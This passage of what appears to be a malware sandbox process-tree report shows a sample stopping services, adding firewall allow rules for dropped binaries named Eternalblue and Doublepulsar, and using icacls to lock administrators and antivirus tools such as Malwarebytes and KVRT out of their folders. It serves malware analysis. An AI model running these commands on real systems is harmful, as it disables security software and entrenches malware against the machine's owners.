                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                          sc delete clr_optimization_v4.0.30318_64"
                                                                                          3⤵
                                                                                          • Launches sc.exe
                                                                                          PID:1032
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c sc stop MicrosoftMysql
                                                                                        2⤵
                                                                                          PID:4264
                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                            sc stop MicrosoftMysql
                                                                                            3⤵
                                                                                            • Launches sc.exe
                                                                                            PID:4092
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c sc delete MicrosoftMysql
                                                                                          2⤵
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:720
                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                            sc delete MicrosoftMysql
                                                                                            3⤵
                                                                                            • Launches sc.exe
                                                                                            PID:3664
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
                                                                                          2⤵
                                                                                            PID:3052
                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                              netsh advfirewall set allprofiles state on
                                                                                              3⤵
                                                                                              • Modifies Windows Firewall
                                                                                              • Event Triggered Execution: Netsh Helper DLL
                                                                                              PID:3852
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                                                            2⤵
                                                                                              PID:2676
                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                                                                3⤵
                                                                                                • Modifies Windows Firewall
                                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                                PID:3900
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                                                              2⤵
                                                                                                PID:2912
                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                  netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                                                                  3⤵
                                                                                                  • Modifies Windows Firewall
                                                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                                                  PID:3336
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                                                                2⤵
                                                                                                  PID:448
                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                    netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                                                                    3⤵
                                                                                                    • Modifies Windows Firewall
                                                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                                                    PID:4704
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                                                                  2⤵
                                                                                                    PID:4328
                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                      netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                                                                      3⤵
                                                                                                      • Modifies Windows Firewall
                                                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                                                      PID:3880
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                                                    2⤵
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:1164
                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                      netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                                                      3⤵
                                                                                                      • Modifies Windows Firewall
                                                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                                                      PID:2256
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                                    2⤵
                                                                                                      PID:4608
                                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                                        netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                                        3⤵
                                                                                                        • Modifies Windows Firewall
                                                                                                        • Event Triggered Execution: Netsh Helper DLL
                                                                                                        PID:4116
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                                      2⤵
                                                                                                        PID:1584
                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                          netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                                          3⤵
                                                                                                          • Modifies Windows Firewall
                                                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                                                          PID:2332
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                                                        2⤵
                                                                                                          PID:2860
                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                            netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                                                            3⤵
                                                                                                            • Modifies Windows Firewall
                                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                                            PID:2296
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                                          2⤵
                                                                                                            PID:2116
                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                              netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                                              3⤵
                                                                                                              • Modifies Windows Firewall
                                                                                                              • Event Triggered Execution: Netsh Helper DLL
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:4252
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                                            2⤵
                                                                                                              PID:1012
                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                                                3⤵
                                                                                                                • Modifies Windows Firewall
                                                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:1396
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Survile Service" dir=in action=allow program="C:\ProgramData\RealtekHD\taskhostw.exe" enable=yes
                                                                                                              2⤵
                                                                                                                PID:1652
                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                  netsh advfirewall firewall add rule name="Survile Service" dir=in action=allow program="C:\ProgramData\RealtekHD\taskhostw.exe" enable=yes
                                                                                                                  3⤵
                                                                                                                  • Modifies Windows Firewall
                                                                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:4452
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="System Service" dir=in action=allow program="C:\ProgramData\windows\rutserv.exe" enable=yes
                                                                                                                2⤵
                                                                                                                  PID:4284
                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                    netsh advfirewall firewall add rule name="System Service" dir=in action=allow program="C:\ProgramData\windows\rutserv.exe" enable=yes
                                                                                                                    3⤵
                                                                                                                    • Modifies Windows Firewall
                                                                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                                                                    PID:3732
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shell Service" dir=in action=allow program="C:\ProgramData\rundll\system.exe" enable=yes
                                                                                                                  2⤵
                                                                                                                    PID:1716
                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                      netsh advfirewall firewall add rule name="Shell Service" dir=in action=allow program="C:\ProgramData\rundll\system.exe" enable=yes
                                                                                                                      3⤵
                                                                                                                      • Modifies Windows Firewall
                                                                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:3428
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Script Service" dir=in action=allow program="C:\ProgramData\rundll\rundll.exe" enable=yes
                                                                                                                    2⤵
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:2532
                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                      netsh advfirewall firewall add rule name="Script Service" dir=in action=allow program="C:\ProgramData\rundll\rundll.exe" enable=yes
                                                                                                                      3⤵
                                                                                                                      • Modifies Windows Firewall
                                                                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                                                                      PID:560
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Micro Service" dir=in action=allow program="C:\ProgramData\rundll\Doublepulsar-1.3.1.exe" enable=yes
                                                                                                                    2⤵
                                                                                                                      PID:2000
                                                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                                                        netsh advfirewall firewall add rule name="Micro Service" dir=in action=allow program="C:\ProgramData\rundll\Doublepulsar-1.3.1.exe" enable=yes
                                                                                                                        3⤵
                                                                                                                        • Modifies Windows Firewall
                                                                                                                        • Event Triggered Execution: Netsh Helper DLL
                                                                                                                        PID:1736
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Small Service" dir=in action=allow program="C:\ProgramData\rundll\Eternalblue-2.2.0.exe" enable=yes
                                                                                                                      2⤵
                                                                                                                        PID:2908
                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                          netsh advfirewall firewall add rule name="Small Service" dir=in action=allow program="C:\ProgramData\rundll\Eternalblue-2.2.0.exe" enable=yes
                                                                                                                          3⤵
                                                                                                                          • Modifies Windows Firewall
                                                                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                                                                          PID:1432
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
                                                                                                                        2⤵
                                                                                                                          PID:5068
                                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                                            netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
                                                                                                                            3⤵
                                                                                                                            • Modifies Windows Firewall
                                                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                                                            PID:832
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
                                                                                                                          2⤵
                                                                                                                            PID:4560
                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                              netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
                                                                                                                              3⤵
                                                                                                                              • Modifies Windows Firewall
                                                                                                                              • Event Triggered Execution: Netsh Helper DLL
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:4588
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
                                                                                                                            2⤵
                                                                                                                              PID:448
                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
                                                                                                                                3⤵
                                                                                                                                • Modifies Windows Firewall
                                                                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                PID:3472
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
                                                                                                                              2⤵
                                                                                                                                PID:4624
                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                  netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
                                                                                                                                  3⤵
                                                                                                                                  • Modifies Windows Firewall
                                                                                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                  PID:1688
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny %username%:(OI)(CI)(F)
                                                                                                                                2⤵
                                                                                                                                  PID:3096
                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                    icacls "C:\Program Files (x86)\Microsoft JDX" /deny Admin:(OI)(CI)(F)
                                                                                                                                    3⤵
                                                                                                                                    • Modifies file permissions
                                                                                                                                    PID:4968
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                                                                                  2⤵
                                                                                                                                    PID:1208
                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                      icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                                                                                      3⤵
                                                                                                                                      • Modifies file permissions
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:4152
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny %username%:(OI)(CI)(F)
                                                                                                                                    2⤵
                                                                                                                                      PID:3824
                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                        icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny Admin:(OI)(CI)(F)
                                                                                                                                        3⤵
                                                                                                                                        • Modifies file permissions
                                                                                                                                        PID:1240
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                                                                                      2⤵
                                                                                                                                        PID:1836
                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                          icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                                                                                          3⤵
                                                                                                                                          • Modifies file permissions
                                                                                                                                          PID:3684
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Windows\svchost.exe" /deny %username%:(OI)(CI)(F)
                                                                                                                                        2⤵
                                                                                                                                          PID:3768
                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                            icacls "C:\Windows\svchost.exe" /deny Admin:(OI)(CI)(F)
                                                                                                                                            3⤵
                                                                                                                                            • Modifies file permissions
                                                                                                                                            PID:4380
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Windows\svchost.exe" /deny system:(OI)(CI)(F)
                                                                                                                                          2⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:1492
                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                            icacls "C:\Windows\svchost.exe" /deny system:(OI)(CI)(F)
                                                                                                                                            3⤵
                                                                                                                                            • Modifies file permissions
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            PID:2056
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny %username%:(OI)(CI)(F)
                                                                                                                                          2⤵
                                                                                                                                            PID:3100
                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                              icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Admin:(OI)(CI)(F)
                                                                                                                                              3⤵
                                                                                                                                              • Modifies file permissions
                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                              PID:2296
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                                                                                            2⤵
                                                                                                                                              PID:680
                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                                                                                                3⤵
                                                                                                                                                • Modifies file permissions
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:4452
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny %username%:(OI)(CI)(F)
                                                                                                                                              2⤵
                                                                                                                                                PID:1416
                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                  icacls "C:\Windows\Fonts\Mysql" /deny Admin:(OI)(CI)(F)
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies file permissions
                                                                                                                                                  PID:1032
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                                                                                                2⤵
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:3732
                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                  icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies file permissions
                                                                                                                                                  PID:4396
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny %username%:(OI)(CI)(F)
                                                                                                                                                2⤵
                                                                                                                                                  PID:2260
                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                    3⤵
                                                                                                                                                      PID:2532
                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                      icacls "c:\program files\Internet Explorer\bin" /deny Admin:(OI)(CI)(F)
                                                                                                                                                      3⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      PID:2204
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                                                                                                    2⤵
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    PID:4356
                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                      icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                                                                                                      3⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      PID:4632
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Zaxar" /deny %username%:(OI)(CI)(F)
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1800
                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                        icacls "C:\Program Files (x86)\Zaxar" /deny Admin:(OI)(CI)(F)
                                                                                                                                                        3⤵
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:1764
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Zaxar" /deny system:(OI)(CI)(F)
                                                                                                                                                      2⤵
                                                                                                                                                        PID:720
                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                          icacls "C:\Program Files (x86)\Zaxar" /deny system:(OI)(CI)(F)
                                                                                                                                                          3⤵
                                                                                                                                                          • Modifies file permissions
                                                                                                                                                          PID:3864
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny %username%:(OI)(CI)(F)
                                                                                                                                                        2⤵
                                                                                                                                                          PID:812
                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                            icacls C:\Windows\speechstracing /deny Admin:(OI)(CI)(F)
                                                                                                                                                            3⤵
                                                                                                                                                            • Modifies file permissions
                                                                                                                                                            PID:3336
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                                                                                          2⤵
                                                                                                                                                            PID:4368
                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                              icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                                                                                              3⤵
                                                                                                                                                              • Modifies file permissions
                                                                                                                                                              PID:3376
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny %username%:(F)
                                                                                                                                                            2⤵
                                                                                                                                                              PID:4656
                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                icacls c:\programdata\Malwarebytes /deny Admin:(F)
                                                                                                                                                                3⤵
                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                PID:2016
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                                                                                              2⤵
                                                                                                                                                                PID:4612
                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                  icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                  PID:2744
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny %username%:(F)
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:2504
                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                    icacls C:\Programdata\MB3Install /deny Admin:(F)
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                    PID:4624
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1456
                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                      icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                      PID:2916
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny %username%:(OI)(CI)(F)
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:2460
                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                        icacls C:\Programdata\Indus /deny Admin:(OI)(CI)(F)
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                        PID:4344
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:2768
                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:3472
                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                            icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                            PID:4580
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Driver Foundation Visions VHG" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:548
                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                              icacls "C:\Programdata\Driver Foundation Visions VHG" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:4424
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Driver Foundation Visions VHG" /deny System:(OI)(CI)(F)
                                                                                                                                                                            2⤵
                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                            PID:1588
                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                              icacls "C:\Programdata\Driver Foundation Visions VHG" /deny System:(OI)(CI)(F)
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:1908
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny %username%:(OI)(CI)(F)
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1992
                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                icacls C:\AdwCleaner /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                PID:2408
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:4380
                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                  icacls "C:\Program Files\ByteFence" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                  PID:2416
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                2⤵
                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                PID:3768
                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                  icacls C:\KVRT_Data /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                  PID:4852
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:4536
                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                    icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                    PID:1392
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:4488
                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                      icacls "C:\Program Files (x86)\360" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Modifies file permissions
